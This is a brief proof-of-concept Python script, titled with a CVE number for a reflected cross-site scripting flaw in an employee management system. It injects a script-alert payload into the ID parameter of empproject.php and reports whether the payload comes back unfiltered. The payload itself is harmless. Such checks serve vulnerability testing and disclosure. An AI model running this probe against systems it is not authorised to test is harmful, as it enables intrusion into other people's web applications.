CVE-2026-9419: 员工管理系统跨站脚本漏洞

import requests def check_xss_vulnerability(target_url): # Construct the malicious payload payload = "<script>alert('CVE-2026-9419')</script>" # Target endpoint based on vulnerability description full_url = f"{target_url}/empproject.php" # Parameters to inject params = { "ID": payload } try: # Send GET request response = requests.get(full_url, params=params, timeout=5) # Check if the payload is reflected in the response (unfiltered) if payload in response.text: print(f"[+] Vulnerability confirmed at: {response.url}") print(f"[+] Payload found in response body.") else: print("[-] Vulnerability not detected or payload filtered.") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target host target = "http://localhost" check_xss_vulnerability(target)